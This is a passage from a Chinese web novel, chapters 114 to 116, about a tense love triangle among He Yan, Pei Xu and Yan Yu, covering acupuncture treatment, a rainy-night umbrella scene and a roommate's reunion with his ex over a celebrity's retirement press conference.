阿衍的状态,似乎有些不太对。 “阿衍,你们是要去针灸馆吗?”他声音放得很轻。 他本来该回答,但贺衍却无法张开嘴。 他浑身僵着,瞳孔骤缩。 破碎的镜面被重新粘连,他居然真的在裴屷面前,露出了那般不堪的模样。 难堪和羞耻如藤蔓般缠绕,贺衍心头一阵发堵,让他几乎喘不过气。 他深吸了一口气,喉结滚动着。 “与你无关。”裴屷侧身挡住他的视线,他的声音很冷,异色瞳孔在阳光下呈现出和刚才截然不同的温度。 鄢忬开口:“我已经把林医师和苏医师请到铜海了。” 裴屷和贺衍同时愣住。 “裴屷的眼睛每周都需要治疗。”鄢忬轻抚贺衍肩头不存在的灰尘,指尖若有似无地擦过贺衍的后颈,“而你,阿衍,既然状况又复发了,就先别跟我赌气了,治好身体才是最重要的。” 就在气氛僵持之际,一辆黑色轿车缓缓停在酒店门前。 司机恭敬地打开车门,两位身着穿着朴素的老夫妻从车上走了下来,正是阳岗针灸馆的林医师和苏医师。 第114章 第 114 章 别和我争(修) 第114章 贺衍从愣怔中回神, 他下意识退后一步,眉头拧起。 鄢忬的手在半空中悬着,墨绿色的瞳孔微微收缩, 又带着几分果然如此的了然, 神色里藏着几分落寞。 “阿衍——”鄢忬正欲说些什么,却在看到贺衍避开视线的瞬间停止了出声。 贺衍听到这声熟悉的语气, 想要删掉的回忆又再次出现在脑海。 他的表情再次沉下来,漆黑瞳孔里凝着寒星般的光,眉梢微沉,眼睫压下,看起来很不爽。 但偏偏他的眼睛又长得极其好看, 眼尾微微上挑, 即便是这种臭脸, 依旧带着摄人心魄的冷冽。 鄢忬呼吸一滞,心跳冷不丁地漏了一拍。 贺衍微微眯眼,手背上的青筋跳动着, 身侧紧握的拳头松开,眉宇间跳跃着丝丝躁意。 暮春的暖阳落在他的眉梢间, 似乎想要抚平他的烦躁,但却并无用处。 贺衍眸中的情绪复杂, 他看向鄢忬, 却也只是微微颔首:“多谢关心, 我会好好治疗的。” 其中疏远的意味, 任谁都能听出来。 鄢忬眼底闪过一丝难以察觉的失落,心脏倏然抽疼,他轻叹了一口气。但目光始终落在贺衍的身上,墨绿色的瞳孔毫无亮色, 涌动着压抑的暗嘲。 与他截然相反,裴屷的唇角却微微上扬,但表情很快又恢复了淡漠。 裴屷神色淡漠地移动两步,却又再次恰恰好站在了两人之间。 对面两个男人剑拔弩张,眼神交锋间火药味十足,可贺衍却连眼皮都懒得掀一下。 他根本没在意两人,只是低头看了眼时间,马上要十一点了。 贺衍视线越过两人望向远处,苏、林两人正在司机的带领下朝着这个方向走来。 距离他们还有十几米。 贺衍本想过去迎他们两人过来,但脚步微动,身侧便出现了裴屷的声音。 他下意识挑了下眉,眼底划过一丝惊讶。 裴屷的唇角扬起一个很小的弧度,姿态矜贵,神态表情无可挑剔,语气颇为礼貌:“舅舅,多谢你帮我们把两位医师请来。” 但不知是故意还是无意,他把重音却落在了“我们”这两个字上。 裴屷继续说道:“即使知道您是好心,可我和贺衍毕竟还年轻,但两位医师年事已高,舟车劳顿本就劳累,更何况还要为我们就诊。” 贺衍听到裴屷这句话后,眉间微动,忽然抬眼看了下裴屷。 舅舅?贺衍疑惑一瞬,昨晚,在他意识混沌之际,似乎也的确听到了舅舅这个词。 但他当时还以为是“救”这个字。 贺衍眼神闪烁,微微上扬的眸中闪过一丝锐利,随后瞬间将裴屷和鄢忬的背景串联到一起。 在圣洛莱索的时候,裴屷的左眼是和鄢忬同样的墨绿色,裴屷的母亲也来自鄢家。 但他之前居然从未将鄢忬和裴屷联系起来。怪不得,在上次自己拜托鄢忬,让他帮忙安排暑假的实习工作的时候,他会答应得那么简单。 或许是见贺衍动了一下又愣在那里,鄢忬忽然出声:“阿衍,怎么了吗?” 贺衍回过神来,他微眯了下眼,忽然意识到了什么,眼睫颤了下。针灸馆的两位医师的身体可以说比一些正值壮年的年轻人都好,裴屷肯定也知道这事。 刚才表面上是在说两位医师年迈,但—— 贺衍眉梢一挑,他倒是没想到,裴屷居然还会这样暗讽。 裴屷也在一直注意着贺衍,他自然而然地朝着贺衍走近了些,眸中的冷意瞬间化为温柔。 两个年龄相仿面容俊美的青年站在一起,即使没有什么言语交流,不过是对视了一眼,但即便如此,这一幕也美好到足以入画。 但也仅仅是看着匹配罢了。 鄢忬眯了下眼,他神色不变,唇角始终保持着相同的弧度,只是墨绿的双眸被暗意浸染,带着几分讽意和自嘲。 他知道自己那个外甥是什么想法,他和之前的自己一样的天真,认为只要守在贺衍身边,终究会有那么一天,贺衍会喜欢上自己。 但不会有那么一天。阿衍不喜欢自己,也不会喜欢裴屷。更准确地说,他不会喜欢任何男人。 如果不亲自捅破那一层纸,贺衍就会一直缩在壳中。 不远处的苏、林两位医师,已经在司机的带领下走到了这处。 贺衍看向那处时,视线不经意和鄢忬对视,他平静地移开了视线,随后走向了苏、林两人。 鄢忬的目光落在不远处的贺衍身上,忽然出声道:“裴屷,最后劝你一句,别和我争。” 裴屷无视了这句话,径直走向贺衍。 简短寒暄过后,酒店的总经理亲自带路,将几人领到了酒店最顶尖的总统套房。 酒店总经理亲自迎上前来,脸上堆满殷勤的笑容:“几位贵客这边请。” 他的目光在扫过鄢忬时明显一滞,显然没想到这位向来冷峻的老板竟会对人如此上心。 鄢忬却没有跟上去的意思。 他低声对总经理吩咐了几句,后者脸上闪过一丝震惊,随即连连点头:“是,是,您放心,安排的是最好的房间。” 总统套房内,林医师的手指轻轻搭在贺衍的腕间,眉头微蹙,随后又舒展开。 片刻后,他从药箱中取出银针,动作娴熟地为贺衍施针。 “小贺,”林医师收起银针,从药箱取出几包药材,“这些药每日煎服,切记不可饮酒。” 他加重了语气:“任何含酒精的饮品都不行。” “林医师,我这种症状还会复发吗?”贺衍垂着眼睛,低声问道,“真的没有什么一劳永逸的解决办法了吗?” 林医师将药包仔细包好,温声道:“小贺,你体内残留的药毒本就不多,就像晨露遇阳,时日久了自会消散。偶尔被激发出来,反倒像是给身体开了个宣泄的出口,能加快排毒的速度。” 见贺衍神色犹疑,林医师又笑着补充:“发作时虽然难受,但从医理上讲,反倒有助于彻底清除体内余毒。” 他轻轻拍了拍贺衍的肩膀:“不过你大可放宽心,只要不接触酒精,这种症状便不会再被催发,不用担心它会影响你的日常生活。” 贺衍点头应下,他微微抿唇:“谢谢您,麻烦您从阳岗来一趟了,真是抱歉。” “倒也不算麻烦,今早针灸馆一开门,我就见到了那位鄢先生。这可是我这辈子第一次坐直升机,倒也是一种新奇的体验。” 林医师弯了下眼,他和老伴最开始的确没有同意鄢忬的请求。 林医师一边整理药箱,一边轻声说道:“好在最近来找针灸馆看病的人也不多,也是正好趁着这个机会,来铜海见一见朋友。” 但鄢忬的那种态度,林医师眸中闪过几分感慨,终究是年纪大了,心软了。 痴情人啊…… “鄢忬亲自去请您的?!”贺衍瞳孔骤缩,指尖无意识地摩挲着药包,“可您二位和他并不是同时——” 林医师随口道:“哦,他是在我们答应之后就先回来了,大概是为了通知你,不让你白跑一趟吧。” 贺衍唇瓣紧抿着,喉咙忽然发紧。他垂下眼睛,目光无意识地落在药包上,大脑一片混乱。 贺衍眉梢蹙起,眼眸晦暗,他刚才不该把火撒到鄢忬身上,可他也不清楚为什么,面对鄢忬的时候,耐心总会比别人差上一些。 林医师开口道:“我去看看小裴的情况如何。” 贺衍的思绪被打断,便不再想了。 他起身跟在林医师身后,忽然出声问道:“林医师,您知道裴屷的眼睛到底是什么时候出的问题吗?” 林医师掀起眼皮看了贺衍一眼:“我听梅芝(苏医师)说,你之前就和小裴认识?” 贺衍点头:“我和他算是高中同学。” 林医师想到昨晚发生的事,点了点头,“这样啊,你们关系的确不错。具体的时间我也记不大清了,但是按照小裴的说法,应该是在去年一月。” 去年一月?! 贺衍表情一滞,沉默了片刻。 林医师:“怎么,时间不对吗?” 贺衍摇了摇头:“没什么,谢谢您告诉我。” 酒店套房的另一侧,苏医师正在检查裴屷的眼睛:“小裴,你的视力能维持现状已是万幸。但要完全恢复……恐怕还需要很长时间。” 裴屷的指尖微微一颤,声音平静得听不出情绪:“我明白的,谢谢您。” 她叹了口气,锐利的目光直视裴屷,声音陡然严肃起来:“你最近又在光线不足的环境下过度用眼了?” 裴屷下意识避开了她的视线,这个细微的动作让她更加确定自己的判断。 苏医师叹了口气,手指轻轻点在裴屷太阳穴的位置:“你这里的血管都绷紧了,小裴,你知道这种损伤是不可逆的吗?” 套房的门并没有被关紧,林医师和贺衍走到门外的时候,苏医师的声音从门缝里传了出来,她的语气里带着医者的严厉和长辈的疼惜。 贺衍怔怔地站在那里,只觉得脑袋里嗡的一声,思绪在这一刻完全停滞。 林医师听到里面还在问诊,便没有贸然进去,他坐到套间的沙发上给自己倒了杯茶。不经意地回头一瞥,却见贺衍神色站在门外一动不动,不知在想什么。 想到昨晚裴屷和贺衍前后打来的电话,林医师若有所思地眨了眨眼,低头抿了口茶。 现在年轻人之间的感情,还真复杂。 房间内的声音还在断断续续,多是苏医师在说,裴屷在听。 贺衍靠在门边,垂眸听着里面的对话,睫毛阻挡了光线的进入,他的眸色晦暗。 去年一月,贺家对外公布他“意外去世”,同一时间段,裴屷的左眼几近失明。 贺衍忽地扯了扯唇角,巧到不能再巧了。 离开圣洛莱索之间,他的确注意到裴屷的眼睛颜色有些许的变化,但那种变化微乎其微,他的左眼眸色依旧是墨绿,和现在那种浅到离谱的青色根本不是一个色系。 如果他这次问了林医师,那他可能永远都会以为他的眼睛不过是自然而然地病发。 诊疗结束后,苏、林两位医师交代之后,便离开了酒店。 贺衍和裴屷也走到了酒店大门外,正巧,一辆出租车恰好经过。 贺衍招手拦了下车:“师傅,去铜海大学。” 好巧不巧,这位出租车司机正是昨晚的那位。 出租车司机揶揄的目光落在了裴屷身上,他记得这个人,昨晚就是这个年轻人把刚才说话那个抱在怀里。 司机眼睛快速眨动,哦豁,既然现在才从酒店走出来,看来这俩人—— 但裴屷的注意力此刻全在贺衍身上,并没有注意到司机的视线。 他轻抿了下唇,眸中闪过几丝深思,今天上午诊疗后,贺衍的态度便变得有些奇怪,但他又不知道哪里出了问题。 临近中午,路上的车辆渐多,红灯亮起,路上车辆排起了长龙。 但狭小的轿厢内,气氛异常安静。 司机看着前面几乎一动不动的车流,烦躁地啧了一声。他又眸瞥了车内后视镜一眼,忽然开口,声音里还带着几分有意无意的调侃:“昨晚你们过得不错吧,这个酒店我之前也带着我老婆——” 贺衍掀起眼皮,眸色冷然:“闭嘴。” 车内后视镜,司机和他的目光相撞,吓得心脏都挺了一拍,声音瞬间消失,他颤颤地笑了下,不敢再说话。 车内再次变得安静,车窗明明开着,但空气却仿佛不流通了一般,带着令人窒息的味道。 红灯变绿,司机再次发动机车。 微风拂面,碎发在额前晃动,贺衍蹙着眉将这些碎发捋到后面,头发又变长了。 他的动作带着几分明显的燥意。 窗外的阳光逐渐变得刺眼,裴屷眯了下眼,他的手指蜷缩了一下。 一路上,两人一直沉默着。 十多分钟后,出租车停在了铜海大学西门前。 黄弘资骑着共享单车到西门领外卖。 就在快要骑出大门的时候,他不经意地抬了下眼,刚好看到了贺衍和裴屷一前一后从车上走了下来。 黄弘资眨了眨眼,这两人怎么一起回来了,还没等他停下单车,看见那个昨天刚来的一看就是有钱人家贵公子的裴屷,忽然伸手扯住了贺衍的衣袖。 第115章 第 115 章 雨 第115章 贺衍抽回衣袖, 脚步并未停下。裴屷似乎愣了一下,随后很快又跟上了上去。 黄弘资瞪大了眼睛,他看不清那两人在说什么, 但是他们之间古怪的氛围, 一眼就能看出来。 眼前忽然一团绿意,黄弘资吓得呼吸瞬间停滞, 大门口一侧的绿化带近在眼前。他赶紧捏住刹车,心脏加剧跳动,他刚才差点把共享单车骑进绿化带里。 他长呼了一口气,就在这时,贺衍和裴屷已经走进了铜海大学内。 黄弘资正在停车, 恰好背对着他们, 两人没有注意到黄弘资, 但黄弘资和两人的距离只有一米不到。 裴屷的声音里带着几分失落:“贺衍,从酒店出来你就一直躲着我。” 他的声音压得很低,但黄弘资还是听见了, 他瞬间僵在那里,动也不敢动, 只能用余光观察着那两人。 “是因为……昨晚的事吗?” 贺衍沉默了一瞬,随后开口道:“不是那件事, 裴屷。” 两人走远, 声音也逐渐消失, 但黄弘资却依旧站在那里。 卧槽?酒店?昨晚?这什么劲爆剧情?! 黄弘资的嘴巴张得能塞进鸡蛋, 脑子里在疯狂刷屏刚才那两个人的对话。 四月的校园里,新叶初展,嫩绿的树影在微风中婆娑摇曳。午后炽热的阳光穿过梧桐叶的缝隙,在路上洒下细碎的光斑。 贺衍和裴屷并肩走在林荫道上, 两人的影子在地面上时而交错在一起。 裴屷垂眸看着地上交叠的影子,喉结轻轻滚动。他忽然停下脚步,再次问道:“贺衍,你心情不好是因为我的缘故吗?” 明明是问句,但他的声音却平静又笃定。 贺衍的脚步顿住了。阳光在他睫毛下投下一小片阴影,遮住了眼中的情绪。林医师的话不断在脑海中回响。裴屷的左眼,很可能是因为去年得知自己“死讯”时才…… 他的手指无意识地蜷缩又松开,最终只是低声问道:“裴屷,你的眼睛……怎么样?” 微风拂过,轻轻擦过裴屷的脸颊,他神色微怔,贺衍是在担心我? 沉闷的空气似乎忽然流动了起来。 裴屷的脚步微微慢了半拍,心底的某处忽然变柔变软,眼底浮现一丝淡淡的笑意:“不碍事。” 这个回答过于轻描淡写,贺衍沉了一口气,胸口发闷。他猛地转身,却在看到裴屷那只淡青色瞳孔的瞬间又移开视线。 “我……”贺衍的声音有些哑,他盯着地上两人的影子,瞳孔却并不聚焦。贺衍喉结滚动,话到嘴边却变成了,“你的检查结果还好吗?” 地面上,两人的影子再次交叠。 一片梧桐叶打着旋擦过贺衍的发梢,落在了两人之间。 裴屷弯腰拾起那片嫩叶,眼底的笑意更深了,他的指腹轻轻摩挲着叶脉:“没什么大碍,只要坚持治疗,很快就会好的。” 贺衍的呼吸一滞,有什么东西在胸腔里翻涌,却找不到出口,堵在了那里上不去也下不来,最终他只是闷闷地“嗯”了一声。 四月开始,铜海迎来了雨季。 连下了一周的雨后,终于迎来了难得的晴天。 黄弘资还躺在床上玩手机,屏幕上忽然弹出一条朋友约球的消息,他立刻从床上探出头:“贺衍,一会儿去打球不?” 贺衍将最后一本书放进书包,摇头道:“我要去图书馆。” 黄弘资叹了口气,目光移到了对面空无一人的床铺。 好吧,看来只有自己去打篮球了,黄弘资无声叹了口气,再次把自己摔倒了床上。 黄弘资手指无意识划着手机,但注意力完全不在上面。 自从那天在校门口撞见贺衍和裴屷后,已经过去一周多了。后来他偷摸观察了好几天,也没发现这俩人之间有什么不对。 准确的说,这两人在寝室的交流几乎为零。 贺衍因为请了一个多月的假,除了上课,每天都是雷打不动地去图书馆学习,早出晚归。裴屷也是大差不差,而且他的课程和贺衍几乎没有重合的。 这两人之间的相处方式,甚至一度让自己怀疑,当初他在西门那里看到听到的,都是因为那时太过饥饿而产生的幻觉。 黄弘资打了一天的球,吃完饭回到宿舍的时候已经是晚上六点多了。 他回去的时候,宿舍果不其然一个人都没有。 黄弘资拿出手机,点开了短视频,漫不经心地看着手机。 晚上九点多,宿舍的大门“咔嗒”一声开了。 黄弘资听到声音,看了眼时间,这个时间点,回来的应该是裴屷。 他瞥了眼,果然没猜错。 又过了没几分钟,窗户那里忽然传来“啪嗒”一声轻响,黄弘资从手机屏幕上抬起头,疑惑地望向窗外。 紧接着,雨声骤然变大,豆大的雨点噼里啪啦地砸在玻璃上。 “卧槽,好不容易晴了,怎么又下雨了?”他嘟囔着撇了撇嘴,站起身走到阳台,关上了窗户。 话音刚落,身后传来椅子挪动的声响,黄弘资扭头,只见裴屷已经站起身,从衣柜里取出一把黑色长柄伞,动作利落地推门而出。 怎么刚回来又要出去了,黄弘资眨眨眼,还没反应过来,宿舍门已经关上了。 图书馆。 六楼东侧的电梯“叮”的一声停在六楼。 贺衍走进电梯,其他楼层并没有下楼的人,电梯很快到了一楼。 已经快十点了,图书馆即将闭馆,图书馆前厅已经没什么人了。 雨水在地面溅起无数水花,路灯的光线被雨幕切割得支离破碎。 贺衍站在玻璃门前,望着外面如注的暴雨皱了皱眉。 他点开手机,天气预报显示这场雨至少要下一个多小时。 行吧,看来只能冒着雨回去了。 贺衍叹了口气,把书包举到头顶,正准备冲进雨里—— 一把黑色长柄伞突然出现在头顶,隔绝了倾盆大雨。 “贺衍,走吧。” 熟悉的声音在耳边响起,贺衍转头,裴屷就站在身后半步的距离,伞面微微向他倾斜。 雨水顺着伞骨滑落,在两人周围形成一道水帘。 “你怎么在这里?”贺衍下意识问道。 裴屷淡淡地说道:“我从图书馆出来,刚好看到你。” 他的裤脚已经完全被雨水打湿,只是光线昏暗,贺衍并没有注意到。 贺衍松了口气,将书包跨在肩上:“还好遇见你了,不然就要淋雨回去了。” 裴屷轻轻“嗯”了一声。 雨夜中的校园静谧而朦胧,路灯的光晕在雨幕中晕染开来。 两人共撑一把伞,脚步声淹没在雨声中。 贺衍蹙着眉头,他这双鞋不防滑,刚才差一点滑倒。 裴屷拿着伞,伞面微微倾斜。 贺衍全部心神都在路上,丝毫没有注意到伞面始终偏向自己这边。他目光专注地看着前方湿滑的路面,却不小心踩到一块松动的砖块,整个人往前一倾—— 一只有力的手臂及时环住了他的腰。 伞面在动作间晃动,几滴冰凉的雨水落在贺衍后颈,让他不由得缩了缩脖子。 “谢谢。”贺衍有些尴尬地低声道谢,随后迅速站稳身子。 裴屷收回了手,他什么都没有说,只是眼底却闪过几分隐秘的欢愉。 宿舍内,黄弘资看到再次关上的大门,他耸了耸肩,也没多想。 外面的雨声渐大,黄弘资瘫在椅子上,情绪忽然低落下来。今天打球时偶遇前女友的场景又浮现在眼前,她明明看见自己了,却完全无视自己。 黄弘资长叹一声,手指机械地划着手机屏幕。游戏打不进去,视频也看不下去,满脑子都是前女友冷漠的背影。 [顶流行水消失月余后首现身!明日十点召开记者会] 黄弘资瞬间睁大眼睛。 行水? 前段时间她不是还和自己说行水好久没露面了,要是她看到这个消息,说不定心情一好会理一下自己。 黄弘资的手指比大脑更快,这条短视频已经转发给了置顶的联系人。等他反应过来时,对方的回复已经弹出:[明天早上来找我,陪我一起看发布会] “卧槽!卧槽!” 黄弘资激动地从椅子上弹起来,脑袋狠狠撞到上铺床板。他捂着脑袋原地转圈,又冲到镜子前开始疯狂整理头发。 他眼睛发亮,嘴角控制不住地上扬。 宿舍门就在这时被推开,裴屷走了进来。 黄弘资心情大好,一边整理着头发,一边笑着打招呼:“哟,你回来啦!” 他的目光扫到裴屷湿透的右肩,随口问道:“你肩膀怎么湿了?” 话音刚落,贺衍也跟着进了宿舍。他左边的袖口也有些潮湿,但身上明显比裴屷干爽许多。 黄弘资的笑容突然僵在脸上。 卧槽!裴屷刚才不会是去图书馆给贺衍送伞了吧?! 他机械地坐回椅子上,假装继续刷手机,余光却忍不住往那两人身上瞟。 裴屷从衣柜里拿出干毛巾,动作自然地递给贺衍。 贺衍愣了下,接过毛巾后道了声谢。 黄弘资喝了口水压惊,脑子又开始疯狂刷屏,一周多前的回忆再次在眼前浮现,这俩,这俩不会真的有问题吧。 第116章 第 116 章 那个被绑在椅子上的梦…… 黑色的雨伞挂在了阳台, 伞尖凝聚的水珠时不时滴落,细小的声响淹没在了窗外的暴雨声中。 潮湿的空气顺着缝隙渗入屋内,阴冷的感觉渗入骨髓。 贺衍打了冷战, 接过了裴屷手中的干燥毛巾, 还没等他道谢,便听到了裴屷的声音。 “你先去洗澡吧。” 裴屷说完这句话, 便转身走向了自己的位置。 贺衍没推辞:“行,我会快点洗的。” 裴屷唇角扬起很小的弧度:“嗯,不用急。” 黄弘资接连打了几个喷嚏,等他打完的时候,贺衍已经走进了浴室。 他的眼神闪烁着, 时不时地往后偷看一眼裴屷。 裴屷已经脱下了被雨水打湿的外套, 但右侧的衬衫湿漉漉地贴在身上, 手臂肌肉的线条几乎一览无余。 黄弘资瞥了眼他的肌肉,又低头看了眼自己的,下意识摇头叹了口气。 他托着下巴, 双眼无神地盯着手机里的视频,他的两个室友到底是关系好, 还是真的有问题啊。 要是他们真谈了,那自己是当作知道, 还是不知道啊。 不过黄弘资就纠结了一小会儿, 就又重新点开了微讯的置顶联系人, 看着屏幕傻笑。 同一时间, 萨卡州,首都淮新。 晚上十点,联邦最高检察院某个房间的灯还亮着。 黑棕发色的男人坐在书桌前,神色冷峻, 甚至带着几分冷酷。 前方的桌面上放着一个已经被拆开的牛皮袋,袋子的旁边,是一张被完好撕下的封条,上面写着“绝密”两个字。 戴着白色手套的手从牛皮袋中拿出了几张文件,几分钟后,这些文件又重新被放回了牛皮袋中,封条也被完美粘了上去。 岑靳眸色晦暗,指尖有节奏地敲击着桌面。 他扯了下嘴角,敲击的动作倏然停下。 岑靳微眯着眼,目光扫过桌面密封完好的牛皮袋,眼底划过一抹冷芒。 贺衍,是想查罗勋章吗? 只是,杭家最近似乎和这位罗部长走得很近。 岑靳垂眸沉思,灰蓝色的眸中翻涌着暗潮,神色愈发冷然。 他的指尖摩挲着,目光忽地落在了前方的电脑屏幕上,眸中的寒意融化,唇角也噙上了一抹笑。 视频里的青年坐在图书馆里看书,光影落在他的身上,面容如同精心雕琢的艺术品。浓密的睫毛在冷白的肌肤上投下了细碎的阴影,莫名透出几分性感。 岑靳深邃的眼眸凝视着屏幕,瞳孔微微扩大,目光如同实质般描摹着屏幕上那张俊美的面容,眼神渐渐变得专注而炙热,像是要将画面中人的每一寸轮廓都镌刻进眼底一般。 铜海大学,星河湾宿舍。 浴室的门被推开,氤氲的水汽随之涌出。 “裴屷,我洗完了,你可以进去了。” 贺衍的发梢还滴着水,水珠顺着脖颈滑落,消失在松垮的衣领间。他的脸颊被热气蒸得微微泛红,眼尾那颗泪痣在水汽中显得格外醒目。 上衣被未擦干的水滴浸透,隐约透出锁骨流畅的线条。 裴屷的呼吸一滞,眼前的身影与那晚的记忆重叠,他的指尖无意识地收紧,喉结上下滚动,目光像是被烫到般仓皇移开。 他微微颔首,走近了浴室内,淅淅沥沥的水声再次从浴室传了出来。 黄弘资注意到裴屷走进了浴室,小心翼翼地凑到贺衍旁边。 手机屏幕忽地亮了下,贺衍瞥了一眼,上面闪过了一条微讯的消息提示。 贺衍擦拭头发的动作顿了一下,他抬手拨开额前湿漉漉的碎发,正准备拿起手机—— 听到脚步声,他转身看向忽然出现的黄弘资:“什么事?” 黄弘资舔了下嘴唇,有些不好意思地说道:“贺衍,你明天起来了,能不能喊我一下。” 贺衍挑了下眉。 在贺衍疑惑的目光中,黄弘资继续说道:“我明天要去见我前女友,但是我现在太兴奋了,晚上可能睡不着。要是万一我明天早上没醒过来,你一定要喊我。” 贺衍点了点头:“没问题。” “还有什么事吗?” 黄弘资本来正准备走,听到这话,脑海中忽然闪现什么,忽然脱口而出:“贺衍,裴屷刚才是去图书馆接你了吗?” 贺衍眉梢蹙起,黄弘资怎么会用“接”这个词? 黄弘资摸了下头继续说道:“刚才突然下雨了,我还没反应过来呢,就看到裴屷出去了……” 贺衍呼吸微不可察的一滞,可裴屷不是说他刚从图书馆出来。他的喉结滚动了一下,随后语气平淡地开口:“不,我们是偶然遇到的。” 黄弘资“哦”了一声,他眨着眼睛,本来他只是随口一问,但贺衍这种斩钉截铁的态度,反而更奇怪了。 黄弘资轻咳了一声,然后继续说道:“反正你千万别忘了,明天一定要叫我起床。” 贺衍点了点头,他随便擦了几遍头发之后,拿出了吹风机。 窗外的雨依旧下个不停,淅淅沥沥的雨声与吹风机的嗡鸣交织在一起,在安静的寝室里回荡。 热风拂过耳际,贺衍机械地拨弄着湿发。 吹风机的热流忽然变得滚烫,贺衍下意识偏了偏头,才发现头发已经干了,他关掉了开关。 贺衍深吸了一口气,他捏了捏眉心,眸色有些复杂。裴屷为什么什么都不说,但无论如何,自己又欠他的人情了。 手机屏幕又亮了起来,还是贺琚的微讯消息,现在已经有了十几条。 贺衍眉梢闪过几分躁意,没有点开。 第二天,雨已经停了,但天气依旧阴沉。 雨后的清晨,空气中还弥漫着湿润的泥土气息。直到九点多,太阳才从云层后探出头来。 九点四十,黄弘资坐在亭子内,手指不停敲打着大腿。 亭子中心的圆桌上,放着黄弘资买的早餐。 十分钟后,孟凝心穿着淡蓝色连衣裙走到亭内:“等很久了?” 黄弘资慌忙摇头:“给你买的早餐。” “谢了,但是我吃过了。”孟凝心在他旁边坐下,拿出平板放在了圆台中央,点开了直播。 黄弘资失落地哦了一声。 十点整,发布会现场灯光骤亮。 行水穿着简单的白衬衫黑西裤,却依旧耀眼。 黄弘资盯着屏幕里行水那张极具冲击力的面容,又想到容貌完全不输给他的贺衍。虽然气质截然不同,但贺衍那张脸放在娱乐圈也绝对不输分毫。 黄弘资思绪飘忽一瞬,如果不是去年那桩事,估计他也不可能知道行水和贺衍居然是兄弟。 行水应该也姓贺吧。 “这次的发布会,主要是为了跟大家告别。”行水的声音透过平板扬声器传来,“当初进这个圈子,不过是想被某个重要的人看见。” “现在愿望实现了,是时候回去完成学业了。” 发布会现场一片哗然。 黄弘资正在回想当初行水说的那番话,但因为时间太长,还没等他彻底想起来,就听到了旁边的抽泣声。 黄弘资瞬间回神,立刻慌乱起来,难道自己做错什么了,她怎么在哭? “凝凝,你别哭了,到底发生什么了。”黄弘资无措地安慰着她。 孟凝心低着头,声音很低:“虽然我知道他最开始进娱乐圈就是为了一个人,但是现在……现在听到他打算离开娱乐圈的消息……我还是好难过。我真的好希望看到他去演那部电影。你不知道,他真的非常有演戏的天赋……” 黄弘资松了口气,原来是因为这个啊。但还没等他彻底放松—— 孟凝心便哽咽着说道:“而且,如果当初没了行水的帮助,高三下学期,我可能就打算退学了,也不可能会考到这里。” 黄弘资听到这话,瞳孔猛地一缩,他咽了口唾沫,声音干涩地问道:“凝凝,这是怎么回事,你怎么没有告诉过我这件事。” “高三的时候,奶奶生了一场大病,家里没钱,我本来是打算去打工赚钱给奶奶治病的。只是在我打算退学的前一天,我给行水的账号后台发了一条消息,就像是树洞一样,我也根本没想过他会回复。” 孟凝心声音里带着哭腔,她断断续续地说道:“但行水不仅直接让他的经纪人联系了我,而且还给了我钱让我带着奶奶看病。我其实一直想要亲自给他道谢,可在他退圈之后,我可能再也没有这个机会了。” 黄弘资眼睛睁大,声音也变得结结巴巴:“我,我以前一直以为你喜欢他是因为,我,我还在嫉妒他。” “我是喜欢他没错,不过我从来都是事业粉。可他明明都要接下那么好的电影了,为什么要退圈啊?就算是上学,也不耽误拍戏啊?” 孟凝心说完之后,泪水又夺眶而出。 发布会上,行水还在游刃有余地回答着记者的问题。 “行水老师,你确定你休息一段时间之后,再次复出不会查无此人吗?” 镜头前的行水微微勾起唇角,眼眸在镁光灯下流转着摄人心魄的光彩。 他忽然轻笑了,眼底带着几丝微不可察的玩味:“查无此人?这位记者朋友似乎忘了,我进娱乐圈从来不是为了被别人记住。” 他的语气依旧温和,但现场却瞬间安静下来,所有镜头都对准了他那张完美无瑕的脸。 行水慢条斯理地整理着袖口,眉眼弯弯:“演戏很有趣,但……” 他顿了顿,舌尖轻抵上颚,露出一个更加温柔且真心实意的笑容:“有些更重要的事等着我去做。” 发布会已经结束了,一名记者却忽然问道:“那行水老师,您是打算完成学业后再复出吗?” 保镖拦住了记者:“抱歉,发布会已经结束……” 贺琚对着记者笑了笑,随后起身走向后台。 助理匆忙跟上,只听见他低声哼着不成调的曲子。 哥哥,再等我一段时间,我就要去找你了。 贺琚的指尖在手机屏幕上轻点,他的锁屏是一张模糊的侧脸照片,隐约能看出是一个模样俊美的青年。 铜海大学,圆亭。 雨后的微风裹挟着凉意拂过圆亭,潮湿的空气里夹杂着抽泣的哽咽。 黄弘资第一次见孟凝心哭得这么厉害,他深吸了一口气,语气里满是心疼:“你要是真想见行水,我,我可以帮你。” “不用安慰我。”孟凝心擦掉眼泪,深吸了一口气,“谢谢你今天陪我一起看这场发布会,只是我本来还以为,行水这次的发布会,是为了新电影。” “我不是安慰你,我真的认识行水——”在孟凝心的注视下,黄弘资的声音逐渐变小,“好吧,是我兄弟认识行水。但我真的见过他!” 黄弘资深吸了一口气,摆着胸脯,语气坚定地看着她:“凝凝,给我一段时间,我绝对能让你亲自跟行水道谢。” 星河湾宿舍。 黄弘资走到宿舍门前,伴随着门轴发出的吱呀声,他推开了宿舍大门。 以前这个时间段,贺衍和裴屷都不会在宿舍,黄弘资想当然地以为宿舍没人,他长长地叹了口气,肩膀瞬间垮了下来。 反手将门关上后,黄弘资整个人靠在门后,后脑勺抵着冰凉的木门,闭着眼睛开始发呆。 他的思绪乱成一团,如果真去拜托贺衍帮忙,那贺衍肯定就会问自己怎么会知道行水和他是兄弟。 去年贺衍喝得烂醉,是行水行水扶着不省人事的贺衍把他送回宿舍的。 而且还告诉自己,绝对不能把这件事告诉贺衍。 如果他现在说漏嘴,行水会不会觉得自己不守信用?万一他生气了,拒绝帮忙怎么办?可如果不找贺衍,这件事又根本解决不了…… 黄弘资越想越烦,顺着门慢慢滑坐在地上,后脑勺抵着门板,盯着天花板发呆。他抓了抓头发,心里天人交战,完全没注意到宿舍里其实有人。 直到一道熟悉的声音突然响起—— “你站在那里发什么呆?” 黄弘资吓得一激灵,猛地抬头,正对上贺衍从床铺上探出的半张脸。对方手里还拿着一本书,显然已经在宿舍里待了很久。 “贺、贺衍?”他结结巴巴地开口,“你在宿舍啊……” 贺衍挑了挑眉:“不然呢?” 黄弘资张了张嘴,一时不知道该说什么,只能干笑两声,心里却更乱了。 他赶紧从地上起来,干笑了几声:“哈哈,没事,没事。” 贺衍眼底闪过几分疑惑,难道是上午他和他的前女友相处又不顺利了? 贺衍利落地从床上跳下来:“你真没事吗?” 黄弘资立马摇头:“真没事。” 一小时后,贺衍微眯了下眼,指尖敲着桌面,余光瞥了一眼黄弘资。 果不其然,他又在看着自己,一脸欲言又止。但刚才自己问他有什么事,黄弘资却只是摇头什么都不说。 